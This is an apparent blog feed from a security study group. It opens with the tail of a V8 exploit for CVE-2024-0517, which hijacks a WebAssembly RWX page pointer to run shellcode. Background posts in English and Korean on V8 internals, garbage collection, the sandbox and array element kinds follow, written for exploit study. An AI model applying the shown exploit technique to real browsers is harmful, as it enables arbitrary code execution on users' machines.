<span class="kd">let</span> <span class="nx">wasmModule</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">WebAssembly</span><span class="p">.</span><span class="nx">Module</span><span class="p">(</span><span class="nx">wasmCode</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">wasmInstance</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">WebAssembly</span><span class="p">.</span><span class="nx">Instance</span><span class="p">(</span><span class="nx">wasmModule</span><span class="p">,</span> <span class="nx">importObject</span><span class="p">);</span>

<span class="kd">let</span> <span class="nx">wasmInstance_addr</span> <span class="o">=</span> <span class="nx">addrof</span><span class="p">(</span><span class="nx">wasmInstance</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">RWX_page_pointer</span> <span class="o">=</span> <span class="nx">v8h_read64</span><span class="p">(</span><span class="nx">wasmInstance_addr</span><span class="o">+</span><span class="mh">0x48</span><span class="nx">n</span><span class="p">);</span>

<span class="kd">let</span> <span class="nx">func_make_array</span> <span class="o">=</span> <span class="nx">wasmInstance</span><span class="p">.</span><span class="nx">exports</span><span class="p">.</span><span class="nx">make_array</span><span class="p">;</span>

<span class="kd">let</span> <span class="nx">func_main</span> <span class="o">=</span> <span class="nx">wasmInstance</span><span class="p">.</span><span class="nx">exports</span><span class="p">.</span><span class="nx">main</span><span class="p">;</span>
<span class="nx">wasm_write</span><span class="p">(</span><span class="nx">wasmInstance_addr</span><span class="o">+</span><span class="mh">0x48</span><span class="nx">n</span><span class="p">,</span> <span class="nx">shell_code_addr</span><span class="p">);</span>
<span class="nx">func_main</span><span class="p">();</span>
</code></pre></div></div>

<h2 id="reference">Reference</h2>

<p><a href="https://cwresearchlab.co.kr/entry/CVE-2024-0517-Out-of-Bounds-Write-in-V8">CW blog - CVE-2024-0517</a></p>

<p><a href="https://blog.exodusintel.com/2024/01/19/google-chrome-v8-cve-2024-0517-out-of-bounds-write-code-execution/">Exodus blog - CVE-2024-0517</a></p>

<p><a href="https://chromium.googlesource.com/v8/v8.git/+/e73f620c2ef1230ddaa61551706225821a87c3b9">V8 git 12.0.267.15</a></p>]]></content><author><name>011nuyha, bnovkebin, koeunchong, mntly, Adawn0106, NoNoNGU</name></author><category term="V8" /><category term="V8" /><category term="1-day Exploit" /><category term="CVE-2024-0517" /><summary type="html"><![CDATA[사전 지식]]></summary></entry><entry><title type="html">[Eng] Fundamental Knowledge of V8 engine (V8, Pipeline, Garbage collection, Ubercage)</title><link href="https://whs-segfault.github.io/v8/2024/09/01/Fundamental_Knowledge_V8(English).html" rel="alternate" type="text/html" title="[Eng] Fundamental Knowledge of V8 engine (V8, Pipeline, Garbage collection, Ubercage)" /><published>2024-09-01T00:00:00+00:00</published><updated>2024-09-01T00:00:00+00:00</updated><id>https://whs-segfault.github.io/v8/2024/09/01/Fundamental_Knowledge_V8(English)</id><content type="html" xml:base="https://whs-segfault.github.io/v8/2024/09/01/Fundamental_Knowledge_V8(English).html"><![CDATA[<h2 id="what-is-v8">what is v8?</h2>

<p>Chrome V8 is an open-source JavaScript engine used in the Google Chrome web browser and the Node.js server environment.
V8 is designed to efficiently execute JavaScript code, aiming for fast performance and optimization.
Here is a table showing the global web browser market share, and as of December 2023, we can see that the Chrome browser holds a staggering 64.7% share.</p>

<p>The engine used by the Chrome browser, which I’m currently introducing, is the V8 engine.</p>

<center> <img src="https://github.com/user-attachments/assets/0a823c86-6e55-41b4-a956-28a7ab7cd5b5" /> </center>
<p align="center"> 
    [source : <a href="https://gs.statcounter.com/browser-market-share#monthly-202312-202312-bar/">Browser Market Share Worldwide</a>]
</p>

<p>It seems Chrome might need to make more of an effort so that searches for ‘V8 engine’ immediately bring up the Chrome V8 engine instead.</p>

<p><br /></p>

<p>### V8 engine components (Pipeline)</p>

<p>The V8 engine is composed of various components. To make it easier to understand, I have attached two images below.</p>

<p>The components of V8 are as follows:</p>

<p>Parser, Ignition, Sparkplug, Maglev, TurboFan</p>

<center> <img src="https://github.com/user-attachments/assets/88795d10-86c5-45f2-9bc8-0ad99580b759" /> </center>
<p align="center"> 
    [source : <a href="https://medium.com/dailyjs/understanding-v8s-bytecode-317d46c94775">V8_pipeline</a>]
</p>

<center> <img src="https://github.com/user-attachments/assets/6aaf0bad-08c3-4520-966f-7f8f8f6ed823" /> </center>
<p align="center"> 
    [source : <a href="https://docs.google.com/document/d/13CwgSL4yawxuYg3iNlM-4ZPCB8RgJya6b8H_E2F-Aek/edit#heading=h.dmhxljs5hbh">Pipeline with Maglev</a>]
</p>
<p>I will briefly explain each component.</p>

<ul>
  <li>Parser: Converts the JavaScript source code to an AST (Abstract Syntax Tree) structure.</li>
</ul>

<p>You can view it easily through the site below.</p>

<p><a href="https://astexplorer.net/">https://astexplorer.net/</a></p>

<center> <img src="https://github.com/user-attachments/assets/1544592a-d3c2-45ff-ab6d-97d689cfa2a6" /> </center>

<center> <img src="https://github.com/user-attachments/assets/d4214fee-b9f1-4543-a9b5-bec505bf1d1d" /> </center>

<p><br /></p>
<ul>
  <li>Ignition: As V8’s interpreter, Ignition converts the parsed AST structure into bytecode.
Since it compiles and generates bytecode directly without first compiling the code into machine code, it has the advantage of being extremely fast.
In addition to executing the code, Ignition also plays a role in collecting profiling information that will be used for later optimization.</li>
</ul>

<p>This image shows a portion of the bytecode.</p>
<center> <img src="https://github.com/user-attachments/assets/e5b646c6-259a-40cd-bcc5-0e83f93f5841" /> </center>

<p><br />
Based on the profiling information collected by Ignition, V8 determines the level of optimization needed to improve performance and execution speed using a JIT compiler. 
There are three types of compilers involved in this process.</p>

<ul>
  <li>Sparkplug: A JIT compiler that performs very fast and simple optimizations.
It doesn’t perform extensive optimizations but simply converts bytecode to native code quickly.</li>
  <li>Maglev: A JIT compiler that performs mid-tier optimizations. It conducts static analysis of the source code to achieve this level of optimization.
To analyze the optimizations done by Maglev, one can use the Maglev-IR-Graph to see the process of generating machine code.</li>
  <li>TurboFan: V8’s most powerful optimizing JIT compiler, which features dynamic analysis followed by optimization and compilation.</li>
</ul>

<p>The reason these three compilers were developed is that initially, there were only Ignition and TurboFan. 
However, a performance and execution speed gap emerged between these two, leading to the release of Sparkplug to bridge that gap.
Later, another speed difference arose between Sparkplug and TurboFan, which prompted the release of Maglev.</p>

<p>Which compiler performs the optimization is determined based on the profiling information collected by Ignition. 
Generally, this decision is made according to the number of times the code is called, so it’s good to understand that as the number of calls increases and the code is recognized as “hot,” optimizations will be applied.</p>

<h2 id="garbage-collection-of-v8">Garbage Collection of V8</h2>

<p>I intentionally titled it “V8’s Garbage Collection” because V8’s Garbage Collection differs from Java’s Garbage Collection.</p>

<p>The core concepts are quite similar, so if you’re already familiar with one, it will help you understand the other more easily.</p>

<p>This Garbage Collection function manages the heap in memory by identifying unused objects and reclaiming the memory occupied by them.</p>

<center> <img src="https://github.com/user-attachments/assets/0d579d8a-59ff-4a3c-a161-1508caa6db58" /> </center>

<p><br />
V8’s heap is basically divided into different regions, with the areas where we allocate memory being the Young space and the Old space. These two regions manage memory in different ways.</p>

<h3 id="young-space">Young space</h3>

<p>This region is where newly created objects are located. Memory is managed here using a method called Scavenging, which is also known as Minor GC.</p>

<p>The Young space is divided into two halves, known as semi-spaces, which are used alternately.</p>

<ul>
  <li>Newly created objects are allocated to one of the semi-spaces.</li>
  <li>When this semi-space becomes full, the scavenger is triggered.</li>
  <li>At this point, only the objects that are still referenced are moved to the other semi-space, and the remaining memory is cleared.</li>
  <li>Objects that survive two scavenger runs are promoted to the old space.</li>
</ul>

<p>Note: During scavenging, as objects are moved to the other semi-space, this process inherently results in a compaction effect.
Therefore, there is no separate compaction phase, but even in the Young space, objects are moved to the front of the memory.</p>

<h3 id="old-space">Old space</h3>

<p>The old space is divided into a pointer space and a data space. The pointer space stores objects that contain pointers to other objects. 
The data space, on the other hand, stores only data.(such as strings, boxed numbers, and arrays of unboxed doubles)</p>

<p>This region is where objects that have survived the Young space and have been retained for a long time are stored.
It is managed using the Mark-Sweep and Mark-Compact methods, which are collectively referred to as Major GC.</p>

<ul>
  <li>The Mark-Sweep method marks the objects that are in use and then clears the objects that are unmarked (i.e., no longer in use). This process can lead to memory fragmentation.</li>
  <li>The Mark-Compact method was designed to address the fragmentation issue that can occur with Mark-Sweep. 
It does so by moving the surviving objects to the front of the memory, thereby compacting the memory and eliminating gaps.</li>
</ul>

<p>If you want to study this in more detail, it’s a good idea to check out the link below. It provides a very detailed explanation.
<a href="https://deepu.tech/memory-management-in-v8/">https://deepu.tech/memory-management-in-v8/</a></p>

<h2 id="v8-sandbox--aka-ubercage-">V8 Sandbox ( a.k.a. Ubercage )</h2>

<p>In V8, there is a protection mechanism that prevents a successful exploit even if a vulnerability is triggered in the heap.
This mechanism is known as the ‘Sandbox,’ which is a separate, isolated space where objects that could be used for exploitation are collected.
This approach has evolved from storing direct addresses of objects in the heap to storing indices of tables instead.</p>

<p>Later on, WebAssembly will be used to bypass this Sandbox.</p>

<h2 id="preferences">Preferences</h2>

<p><a href="https://www.dashlane.com/blog/how-is-data-stored-in-v8-js-engine-memory">Data and Object in V8</a> <br />
<a href="https://research.google/pubs/maglev-a-fast-and-reliable-software-network-load-balancer/">Abstract of Maglev</a> <br />
<a href="https://medium.com/hcleedev/web-javascript%EC%9D%98-garbage-collection-v8-%EC%97%94%EC%A7%84-9409c5be917c">Explanation about Garbage collection in korean</a> <br /></p>]]></content><author><name>011nuyha, bnovkebin, koeunchong, mntly, Adawn0106, NoNoNGU</name></author><category term="V8" /><category term="V8" /><category term="Garbage Collection" /><category term="Ubercage" /><category term="English" /><summary type="html"><![CDATA[what is v8?]]></summary></entry><entry><title type="html">[Eng] Fundamental Knowledge of JavaScript (JS object structure, Allocation folding, TypedArray)</title><link href="https://whs-segfault.github.io/v8/2024/09/01/Fundamental_knowledge_javaScript(English).html" rel="alternate" type="text/html" title="[Eng] Fundamental Knowledge of JavaScript (JS object structure, Allocation folding, TypedArray)" /><published>2024-09-01T00:00:00+00:00</published><updated>2024-09-01T00:00:00+00:00</updated><id>https://whs-segfault.github.io/v8/2024/09/01/Fundamental_knowledge_javaScript(English)</id><content type="html" xml:base="https://whs-segfault.github.io/v8/2024/09/01/Fundamental_knowledge_javaScript(English).html"><![CDATA[<h1 id="javascript-background-knowledge---java-object-structure-allocation-folding">[JavaScript] Background Knowledge - Java Object Structure, Allocation Folding</h1>

<h2 id="js-object-structure">JS object structure</h2>

<center> <img src="https://github.com/user-attachments/assets/cb1bd7c2-38f4-47e3-aef5-6e5b736272ef" /> </center>

<p>A JavaScript object is a data structure composed of key-value pairs. The V8 engine handles metadata and actual data differently depending on the structure and properties of the object.</p>

<h3 id="map">Map</h3>

<p>The value in the first field is the map, also known as the hidden class. The hidden class contains metadata about the property names, types, and the position of each property within the object.
Let’s take a closer look at hidden classes.</p>

<center> <img src="https://github.com/user-attachments/assets/8b9b8fc2-6988-496a-b504-39417d8419a6" /> </center>

<p>When an object is created, a map (or hidden class) is generated. Each time new properties are added to the object, a new map is also created.</p>

<p>Additionally, the map (hidden class) points to both the previous map and the next map, allowing it to navigate to either one.</p>

<center> <img src="https://github.com/user-attachments/assets/82974c1a-e29d-473a-a78c-83e18962f9c2" /> </center>

<p>You can see that it’s structured this way.</p>

<p>If you have any further questions or want to learn more, please refer to the provided references.</p>

<h3 id="properties">Properties</h3>

<p>The second field is the Properties, which are composed of key-value pairs.</p>

<p>For example, it would look like this.</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">let</span> <span class="nx">person</span> <span class="o">=</span> <span class="p">{</span>
    <span class="na">name</span><span class="p">:</span> <span class="dl">"</span><span class="s2">John</span><span class="dl">"</span><span class="p">,</span>
    <span class="na">age</span><span class="p">:</span> <span class="mi">30</span><span class="p">,</span>
    <span class="na">isEmployed</span><span class="p">:</span> <span class="kc">true</span>
<span class="p">};</span>

</code></pre></div></div>

<p>If a person object is defined like this, for example:</p>

<p>name → Property, john → Value</p>

<p>age → Property, 30 → Value</p>

<p>isEmployed → Property, true → Value</p>

<h3 id="elements">Elements</h3>

<p>The third field is the Elements. This refers to the space where the array elements of a JavaScript object are stored.</p>

<p>Unlike regular objects, array objects store data using sequential numeric indices.</p>

<p>Elements are responsible for storing and managing these array elements.</p>

<h3 id="in-object-properties">In-Object Properties</h3>

<p>The fourth field, in-Object Properties, refers to properties that are stored directly within the object itself.</p>

<p>They are used for fast access, but if the number of properties exceeds a certain limit, they can no longer be used.</p>

<p>To help with understanding, I’ve brought in the Debugprint of the <code class="language-plaintext highlighter-rouge">x</code> object and the <code class="language-plaintext highlighter-rouge">a</code> array, which we’ll use later in the PoC (Proof of Concept).</p>

<p>It might be helpful to compare this with the information provided above.</p>

<center> <img src="https://github.com/user-attachments/assets/a4bec213-f773-4842-8e89-f9222bf67d20" /> </center>

<p>(a Array’s DebugPrint)</p>

<center> <img src="https://github.com/user-attachments/assets/7679ef28-4c9d-44bb-bb64-d9fac04a37bc" /> </center>

<p>(x object’s DebugPrint)</p>

<h2 id="allocation-folding">Allocation folding</h2>

<p>Allocation Folding is a memory allocation technique that reduces unnecessary allocation attempts by allocating memory in bulk, rather than making multiple allocations.</p>

<center> <img src="https://github.com/user-attachments/assets/bb16d73f-8ffd-4b9d-a259-f4f3d9518615" /> </center>

<p>For example, when allocating object of Class B and Array a, as shown in the diagram, each would be allocated to memory once, resulting in a total of two allocations. However, if the allocation folding technique is used, the combined size of Class B and Array a (size(x+y)) is allocated as a single block of memory, which is then shared by both Array a and Class B.</p>

<h2 id="js-array">JS Array</h2>

<p>TypedArray is a JavaScript object provided to handle arrays of a specific type.</p>

<p>In other words, all elements in the array have the same data type (e.g., int8, Uint8, int16, etc.).</p>

<center> <img src="https://github.com/user-attachments/assets/ce184978-674a-4dce-afb6-a0bc99215d8f" /> </center>

<p>(TypedArray Types)</p>

<p>The reason for using TypedArray is that, since all elements have the same type, they have a fixed size, which makes them advantageous for performance optimization.</p>

<hr />

<p>Starting with Packed Array:</p>

<p>it is an array where all elements are defined in a contiguous block of memory, with no gaps between the elements.</p>

<hr />

<p>Additionally, there are concepts like Packed Array and Holey Array.</p>

<p>I’ll explain Packed Array firstly. It is an array in which all elements are defined sequentially, without any gaps.</p>

<p>This means that every index in the array is fully occupied.</p>

<p>This type of array is stored contiguously in memory, which allows for faster access speeds.</p>

<p>Next is the Holey Array. In this type of array, there are undefined elements in the middle (e.g., <code class="language-plaintext highlighter-rouge">undefined</code> or certain indices without values).</p>

<p>In this case, the array is stored non-contiguously in memory, which leads to reduced performance.</p>

<p>To illustrate with code:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">let</span> <span class="nx">array</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">];</span> 
<span class="nx">array</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="mf">3.1</span>
<span class="nx">array</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="mi">4</span>
<span class="nx">array</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">five</span><span class="dl">"</span>
<span class="nx">array</span><span class="p">[</span><span class="mi">6</span><span class="p">]</span> <span class="o">=</span> <span class="mi">6</span>
</code></pre></div></div>

<p>The first line refers to <code class="language-plaintext highlighter-rouge">PACKED_SMI_ELEMENTS</code>. Here, “Smi” stands for “Small Integer,” an internal data type in the V8 engine representing small integers of 31-bit (on x32) or 63-bit (on x64) size. The array is labeled as “PACKED” because all its elements are fully populated.</p>

<p>The second line also refers to a “PACKED” array, but it’s labeled as <code class="language-plaintext highlighter-rouge">PACKED_DOUBLE_ELEMENTS</code>. Originally, only SMIs were present, but since a float value has been added, both Smi and Float now coexist within the same array.</p>

<p>The third line is still labeled as <code class="language-plaintext highlighter-rouge">PACKED_DOUBLE_ELEMENTS</code>. This is because, even if the last element becomes an SMI value again, the array doesn’t revert to <code class="language-plaintext highlighter-rouge">PACKED_SMI_ELEMENTS</code>. Once an array’s type has changed, it doesn’t go back to its previous state.</p>

<p>That’s why it remains <code class="language-plaintext highlighter-rouge">PACKED_DOUBLE_ELEMENTS</code>.</p>

<p>The fourth line is labeled as <code class="language-plaintext highlighter-rouge">PACKED_ELEMENTS</code>. Although the indices are still fully occupied, the <code class="language-plaintext highlighter-rouge">DOUBLE</code> designation disappears because there are now three or more different types of elements in the array.</p>

<p>The fifth line is labeled as <code class="language-plaintext highlighter-rouge">HOLEY_ELEMENTS</code>. This is because index 6 was added suddenly, but the previous index, <code class="language-plaintext highlighter-rouge">array[5]</code>, doesn’t have a value. As a result, a gap was created, making the array “holey.”</p>

<p>This will be important later when we analyze exploits, so it’s a good idea to keep this in mind.</p>

<p>Reference</p>

<p>Js Object Structure: <a href="https://devkly.com/nodejs/javascript-array/">https://devkly.com/nodejs/javascript-array/</a></p>

<p>V8 Hiddenclass : <a href="https://v8.dev/docs/hidden-classes">https://v8.dev/docs/hidden-classes</a></p>

<p>v8 TypedArray:<a href="https://v8docs.nodesource.com/node-7.10/d5/dbb/classv8_1_1_typed_array.html">https://v8docs.nodesource.com/node-7.10/d5/dbb/classv8_1_1_typed_array.html</a></p>]]></content><author><name>011nuyha, bnovkebin, koeunchong, mntly, Adawn0106, NoNoNGU</name></author><category term="V8" /><category term="V8" /><category term="JS Object" /><category term="Allocation Folding" /><category term="English" /><summary type="html"><![CDATA[[JavaScript] Background Knowledge - Java Object Structure, Allocation Folding]]></summary></entry><entry><title type="html">Fundamental Knowledge of JavaScript (JS object structure, Allocation folding, TypedArray)</title><link href="https://whs-segfault.github.io/v8/2024/08/27/Fundamental_Knowledge_JavaScript.html" rel="alternate" type="text/html" title="Fundamental Knowledge of JavaScript (JS object structure, Allocation folding, TypedArray)" /><published>2024-08-27T00:00:00+00:00</published><updated>2024-08-27T00:00:00+00:00</updated><id>https://whs-segfault.github.io/v8/2024/08/27/Fundamental_Knowledge_JavaScript</id><content type="html" xml:base="https://whs-segfault.github.io/v8/2024/08/27/Fundamental_Knowledge_JavaScript.html"><![CDATA[<h1 id="javascript-배경-지식---자바-객체-구조-allocation-folding">[JavaScript] 배경 지식 - 자바 객체 구조, Allocation folding</h1>

<h2 id="js-object-structure">JS object structure</h2>

<center> <img src="https://github.com/user-attachments/assets/cb1bd7c2-38f4-47e3-aef5-6e5b736272ef" /> </center>

<p>Javascript Object는 key-value로 이루어진 데이터 구조입니다. V8 엔진은 객체의 구조와 속성에 따라 메타데이터와 실제 데이터를 다르게 처리합니다.</p>

<p>첫번째 필드에 들어가는 값은 map입니다.  Hidden class라고도 합니다. 히든 클래스는 객체의 프로퍼티 이름과</p>

<p>타입, 각 프로퍼티가 객체 내에서 차지하는 위치에 대해 메타데이터를 포함합니다.</p>

<p>히든 클래스에 대해 더 자세히 알아보겠습니다.</p>

<center> <img src="https://github.com/user-attachments/assets/8b9b8fc2-6988-496a-b504-39417d8419a6" /> </center>

<p>객체가 생성될 때 map이 생기게 되는데 새로운 Properties가 생길 때 마다 다른 map이 하나씩 생기게 됩니다.</p>

<p>또한 map은 이전의 map과 다음 map을 동시에 가리키고 있으므로 둘 다 찾아갈 수 있습니다.</p>

<center> <img src="https://github.com/user-attachments/assets/82974c1a-e29d-473a-a78c-83e18962f9c2" /> </center>

<p>이런식으로 구성이 되어 있는 걸 볼 수 있습니다.</p>

<p>두번째 필드는 Properties 즉 속성입니다.  속성은 key-value로 이루어져 있습니다.</p>

<p>예를 들면 이렇습니다 .</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">let</span> <span class="nx">person</span> <span class="o">=</span> <span class="p">{</span>
    <span class="na">name</span><span class="p">:</span> <span class="dl">"</span><span class="s2">John</span><span class="dl">"</span><span class="p">,</span>
    <span class="na">age</span><span class="p">:</span> <span class="mi">30</span><span class="p">,</span>
    <span class="na">isEmployed</span><span class="p">:</span> <span class="kc">true</span>
<span class="p">};</span>

</code></pre></div></div>

<p>이런 식으로 person이 정의가 되어 있다고 하면</p>

<p>name -&gt; 속성 john -&gt; 값</p>

<p>age -&gt; 속성 30 -&gt; 값</p>

<p>isEmployed는 속성 true는 값</p>

<p>입니다.</p>

<p>세번째 필드는 Elements 입니다.  Js의 배열 요소를 저장하는 공간을 가리킵니다.</p>

<p>일반 객체와 달리 배열 객체는 순차적인 숫자 인덱스를 사용하여 데이터를 저장합니다.</p>

<p>Elements는 이런 배열의 요소들을 저장하거나 관리하는 역할을 합니다.</p>

<p>네번째 필드는 있는 in-Object Properties는  객체 내부에 직접 저장된 속성들을 말합니다.</p>

<p>빠른 접근을 위해 사용을 하며 속성이 일정 수 이상으로 많을 경우 사용하지 못하게 됩니다.</p>

<p>이해를 돕기 위해 나중에 PoC에서 사용할 x 객체와 a 배열의 Debugprint를 가져왔습니다.</p>

<p>위 내용과 비교하여 보시면 도움이 될 듯 합니다.</p>

<center> <img src="https://github.com/user-attachments/assets/a4bec213-f773-4842-8e89-f9222bf67d20" /> </center>

<p>(a 배열의 DebugPrint)</p>

<center> <img src="https://github.com/user-attachments/assets/7679ef28-4c9d-44bb-bb64-d9fac04a37bc" /> </center>

<p>(x객체의 DebugPrint)</p>

<h2 id="allocation-folding">Allocation folding</h2>

<p>Allocation Folding이란 메모리에 여러 번 할당할 것을 한번에 할당하여 불필요한 할당횟수를 줄이는 메모리 할당 기법입니다.</p>

<center> <img src="https://github.com/user-attachments/assets/bb16d73f-8ffd-4b9d-a259-f4f3d9518615" /> </center>

<p>예를 들어 설명하자면 그림에 나와있는 Class B와 Array a를 할당할땐 각각 1번씩 메모리에 할당하게 되어 총 2번 할당하게 됩니다. 하지만 여기서 allocation folding 기법을 사용하게 되면 class B와 Array a의 크기를 더한 값 (size(x+y) 만큼의 공간을 할당하여 Array a와 Class B가 나누어 쓰게 됩니다.</p>

<h2 id="js-array">JS Array</h2>

<p>Typearray는 일정한 타입의 배열을 다루기 위해 제공되는 Js Object입니다.</p>

<p>즉 배열에 들어가는 모든 요소가 동일한 데이터 타입(예: int8 , Uint8,int16 등등)을 가지고 있습니다.</p>

<center> <img src="https://github.com/user-attachments/assets/ce184978-674a-4dce-afb6-a0bc99215d8f" /> </center>

<p>(TypedArray의 종류)</p>

<p>TypedArray를 사용하는 이유는 다 동일한 타입을 가지고 있기 때문에 고정된 크기를 가지고 있어 성능 최적화에 유리합니다.</p>

<p>또한 Packed Array와 Holey Array의 개념이 있는데 Packed Array부터 설명을 하자면</p>

<p>모든 요소가 연속적으로 정의된 배열입니다. 배열 내에 모든 인덱스가 가득 차 있다는 뜻입니다.</p>

<p>이 형태의 배열은 메모리에서 연속적으로 저장되므로 접근 속도가 빠릅니다.</p>

<p>다음은 Holey Array 입니다. 배열의 중간에 정의되지 않은 요소 (예: undefined , 특정 인덱스에 값 x)</p>

<p>이 경우 메모리에서 비연속적으로 저장되게 되어 성능이 저하됩니다.</p>

<p>코드로 예를 들어보자면</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">let</span> <span class="nx">array</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">];</span> 
<span class="nx">array</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="mf">3.1</span>
<span class="nx">array</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="mi">4</span>
<span class="nx">array</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">five</span><span class="dl">"</span>
<span class="nx">array</span><span class="p">[</span><span class="mi">6</span><span class="p">]</span> <span class="o">=</span> <span class="mi">6</span>
</code></pre></div></div>

<p>첫줄은 PACKED_SMI_ELEMENTS니다. 여기서 Smi란 31(x32)비트 또는 63(x64)비트 크기의 작은 정수를 나타내는 v8 엔진 내부의 데이터 형식입니다. 모든 배열이 다 차 있기 때문에 PACKED입니다.</p>

<p>두번째줄은 마찬가지로 PACKED이지만 PACKED_DOUBE_ELEMENT입니다. 원랜 SMI만 존재했지만 Float값이 들어가 Smi와  Float가 한 배열 안에 존재하기 때문입니다.</p>

<p>세번째줄은  여전히 PACKED_DOUBLE_ELEMENTS입니다.  왜냐하면 마지막 부분이 다시 SMI 값이 된다고 PACKED_SMI_ELEMENT가 되는  것이 아니라 한 번 변한 배열은 다시 돌아오지 않기 때문입니다. 그렇기 때문</p>

<p>PACKED_DOUBLE_ELEMENTS입니다.</p>

<p>네번째줄은 PACKED_ELEMENTS입니다. 인덱스는 여전히 가득 차 있지만 종류가 3개이상이 되어 DOUBLE이 사라지게 되었습니니다.</p>

<p>다섯번째줄은 HOLEY_ELEMENTS입니다. 왜냐하면 갑자기 인덱스 6을 넣었는데 그 전의 값인 array[5]값이 없기 때문에 빈 공간이 생겨서 Holey가 생겼기 때문입니다.</p>

<p>나중에 Exploit 분석에 나올 내용이니 잘 봐두면 좋습니다.</p>

<p>Reference</p>

<p>Js Object Structure: <a href="https://devkly.com/nodejs/javascript-array/">https://devkly.com/nodejs/javascript-array/</a></p>

<p>V8 Hiddenclass : <a href="https://v8.dev/docs/hidden-classes">https://v8.dev/docs/hidden-classes</a></p>

<p>v8 TypedArray:<a href="https://v8docs.nodesource.com/node-7.10/d5/dbb/classv8_1_1_typed_array.html">https://v8docs.nodesource.com/node-7.10/d5/dbb/classv8_1_1_typed_array.html</a></p>]]></content><author><name>011nuyha, bnovkebin, koeunchong, mntly, Adawn0106, NoNoNGU</name></author><category term="V8" /><category term="V8" /><category term="JS Object" /><category term="Allocation Folding" /><summary type="html"><![CDATA[[JavaScript] 배경 지식 - 자바 객체 구조, Allocation folding]]></summary></entry><entry><title type="html">Fundamental Knowledge of V8 engine (V8, Pipeline, Garbage collection, Ubercage)</title><link href="https://whs-segfault.github.io/v8/2024/08/26/Fundamental_Knowledge_V8.html" rel="alternate" type="text/html" title="Fundamental Knowledge of V8 engine (V8, Pipeline, Garbage collection, Ubercage)" /><published>2024-08-26T00:00:00+00:00</published><updated>2024-08-26T00:00:00+00:00</updated><id>https://whs-segfault.github.io/v8/2024/08/26/Fundamental_Knowledge_V8</id><content type="html" xml:base="https://whs-segfault.github.io/v8/2024/08/26/Fundamental_Knowledge_V8.html"><![CDATA[<h2 id="v8이란">V8이란</h2>

<p>우선 v8이 무엇인지에 대해 설명해보겠습니다.</p>

<p>전세계 웹 브라우저 시장 점유율을 가져온 표인데요, 2023년 12월을 기준으로 Chrome 브라우저가 무려 <strong>64.7%</strong>를 차지하는 것을 볼 수 있습니다.</p>

<p>이 Chrome 브라우저에서 사용하는 엔진이 지금 소개 중인 V8 엔진 입니다.</p>

<center> <img src="https://github.com/user-attachments/assets/0a823c86-6e55-41b4-a956-28a7ab7cd5b5" /> </center>
<p align="center"> 
    [출처 : <a href="https://gs.statcounter.com/browser-market-share#monthly-202312-202312-bar/">Browser Market Share Worldwide</a>]
</p>

<p><br /></p>
<h3 id="v8-엔진-구성-요소">V8 엔진 구성 요소</h3>

<p>이 V8 엔진 속에는 다양한 구성 요소로 이루어져 있습니다. 이해하기 편하게 두 개의 사진을 아래에 첨부하였습니다.</p>

<p>V8의 구성 요소는 다음과 같습니다 :</p>

<p>Parser, Ignition, Sparkplug, Maglev, TurboFan</p>

<center> <img src="https://github.com/user-attachments/assets/88795d10-86c5-45f2-9bc8-0ad99580b759" /> </center>
<p align="center"> 
    [출처 : <a href="https://medium.com/dailyjs/understanding-v8s-bytecode-317d46c94775">V8_pipeline</a>]
</p>

<center> <img src="https://github.com/user-attachments/assets/6aaf0bad-08c3-4520-966f-7f8f8f6ed823" /> </center>
<p align="center"> 
    [출처 : <a href="https://docs.google.com/document/d/13CwgSL4yawxuYg3iNlM-4ZPCB8RgJya6b8H_E2F-Aek/edit#heading=h.dmhxljs5hbh">Pipeline with Maglev</a>]
</p>
<p>각각의 구성 요소를 간단하게 설명하겠습니다.</p>

<ul>
  <li>Parser : JavaScript 소스 코드를 AST 구조로 변환한다.</li>
</ul>

<p>아래 사이트를 통해 간단하게 볼 수 있다.</p>

<p><a href="https://astexplorer.net/">https://astexplorer.net/</a></p>

<center> <img src="https://github.com/user-attachments/assets/1544592a-d3c2-45ff-ab6d-97d689cfa2a6" /> </center>

<center> <img src="https://github.com/user-attachments/assets/d4214fee-b9f1-4543-a9b5-bec505bf1d1d" /> </center>

<p><br /></p>
<ul>
  <li>Ignition : V8의 인터프리터로, 파싱된 AST 구조를 bytecode로 변환한다. 코드를 실행할 때 머신 코드로 컴파일하지 않고, 바로 bytecode로 컴파일 및 생성, 그리고 실행하기 때문에, 굉장히 빠르다는 장점이 있다. 그리고 코드를 실행하는 것 뿐만 아닌, 이후 최적화에 사용할 프로파일링 정보를 수집하는 역할을 합니다.</li>
</ul>

<p>이 사진은 bytecode의 일부분의 모습이다.</p>

<center> <img src="https://github.com/user-attachments/assets/e5b646c6-259a-40cd-bcc5-0e83f93f5841" /> </center>

<p><br />
Ignition에서 수집한 프로파일링 정보를 통해 어느 수준의 최적화를 할지, 이로 성능 속도와 실행 속도를 향상 시키기 위해 JIT 컴파일러를 사용하는데, 여기에는 세가지 종류의 컴파일러가 있습니다.</p>

<ul>
  <li>Sparkplug : 매우 빠르고 간단한 최적화를 수행하는 JIT 컴파일러이다. 최적화를 하지 않으며, 단순히 bytecode를 native code로 빠르게 변환한다.</li>
